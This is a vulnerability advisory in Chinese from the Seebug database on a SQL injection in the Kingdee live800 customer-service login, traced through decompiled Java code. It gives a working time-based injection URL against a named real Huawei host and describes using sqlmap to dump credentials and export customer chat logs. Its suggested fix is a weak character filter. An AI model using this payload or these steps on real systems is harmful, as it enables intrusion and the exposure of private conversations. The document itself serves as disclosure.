kingdee live800在线客服系统SQL注射漏洞

2016-01-22T00:00:00
ID SSV:90568
Type seebug
Reporter Root
Modified 2016-01-22T00:00:00

Description

0x01 漏洞概述

相关厂商: live800.com

漏洞时间: 2015-10-18

loginAction.jsp SQL注射漏洞,可看客户与客服对话内容,泄露大量敏感信息。

0x02 漏洞细节

在loginAction.jsp中发现以下内容:

``` String loginName=request.getParameter("loginName");

String password=request.getParameter("password");

String loginServerUrl = request.getParameter("loginServerUrl");

OperatorInfo operatorInfo=new OperatorInfo();

operatorInfo.setLoginName(loginName);

password = URLUtil.unEscapeHtml(password);

operatorInfo.setPassword(password);

operatorInfo.setLoginServerUrl(loginServerUrl);

int result=DBManager.validateLogin(request.getParameter("companyLoginName"),operatorInfo);//跟踪此方法

if(DBError.NO_EXCEPTION==result&&operatorInfo.validateLogin()&&!StringUtils.isNullOrLengthZero(operatorInfo.getId()))

```

跟踪用于登录的DBManager.validateLogin()方法,代码做了混淆看着有点吃力:

``` public static int validateLogin(String paramString, OperatorInfo paramOperatorInfo)

{

if (paramOperatorInfo == null) {

  return 17;

}



String str1 = paramOperatorInfo.getPassword();

if (StringUtils.isNullOrLengthZero(new String[] { str1,

  paramString })) {

  return 17;

}



paramOperatorInfo.setPassword(Password.getEncodingPassword(str1));

String str2 =

  ak.i(paramString);//跟踪此方法

if (StringUtils.isNullOrLengthZero(str2)) {

  return 17;

}

paramOperatorInfo.setCompanyId(str2);

return OperatorDBM.validateLogin(paramOperatorInfo);

} ```

再跟踪 ak.i()方法:

``` public static String i(String paramString)

{

StringBuffer localStringBuffer = new StringBuffer();



localStringBuffer

  .append("select company_id from company where company_login_name='");

localStringBuffer.append(paramString);

localStringBuffer.append("' and user_type!='");

localStringBuffer.append("U");

localStringBuffer.append("'");



return DBCommuter.getAnAttribute(localStringBuffer.toString());

} ```

在这里看到SQL语句是由参数拼接而成的,最后跟踪DBCommuter.getAnAttribute(localStringBuffer.toString())看看SQL是怎么执行的:

``` public static final String getAnAttribute(String paramString) {

if (paramString == null) {

  return null;

}

String str = null;

Connection localConnection = null;

Statement localStatement = null;

ResultSet localResultSet = null;

if (Live800Define.isOracle)

  paramString = MysqlToOracle.dividePage(paramString);

try

{

  localConnection = a();

  localStatement = localConnection.createStatement();

  localResultSet = localStatement.executeQuery(paramString);

  if (localResultSet.next()) {

    str = localResultSet.getString(1);

  }

  a(localStatement.getWarnings(), paramString);

  a(localResultSet.getWarnings(), paramString);



  localResultSet.close();

  localResultSet = null;

  localStatement.close();

  localStatement = null;

  localConnection.close();

  localConnection = null;

} catch (SQLException localSQLException1) {

  localSQLException1.printStackTrace();

  if (a.isWarnEnabled()) {

    a.logWarn(paramString, localSQLException1);

  }

}

finally

{

  if (localResultSet != null) {

    try {

      localResultSet.close();

    } catch (SQLException localSQLException2) {

      a.logFatal("close rs error!", localSQLException2);

    }

    localResultSet = null;

  }

  if (localStatement != null) {

    try {

      localStatement.close();

    } catch (SQLException localSQLException3) {

      a.logFatal("close stmt error!", localSQLException3);

    }

    localStatement = null;

  }

  if (localConnection != null) {

    try {

      localConnection.close();

    } catch (SQLException localSQLException4) {

      a.logFatal("close connect error!", localSQLException4);

    }

    localConnection = null;

  }

}

return str;

} ```

从以上的代码不难看出程序未进行参数化查询导致SQL注入漏洞发生。

还是以华为作为测试用例,访问以下地址登录:

http://robotim.vmall.com/live800/login.jsp?aaa=1

抓取数据包:

![](https://images.seebug.org/contribute/ffc21461-4699-47e0-ba52-358d1f3babf0-2016-01-22 11_14_57.jpg)

其中的companyLoginName存在SQL注入:

http://robotim.vmall.com/live800/loginAction.jsp?companyLoginName=1%27or(select%20sleep(2))%23&loginName=a111&password=111

可以看到页面成功延迟2s,用SQLMAP跑出账户密码:

![](https://images.seebug.org/contribute/ea4be781-7929-4aba-ac2f-ff6c7c707cda-2016-01-22 11_15_33.jpg)

成功登录后台:

![](https://images.seebug.org/contribute/fd696c31-dd31-46c8-b406-d22b3ef4c05f-2016-01-22 11_15_54.jpg)

在后台有个对话记录查询功能:

![](https://images.seebug.org/contribute/a108192f-be83-494a-8719-52e7fbb33428-2016-01-22 11_16_14.jpg)

直接导出详细记录即可查看对话记录:

![](https://images.seebug.org/contribute/13abedc4-6ce1-4ff4-bfcf-96f824a5e5ff-2016-01-22 11_16_36.jpg)

0x03 修复方案

做一个filter全局过滤SQL注入危险字符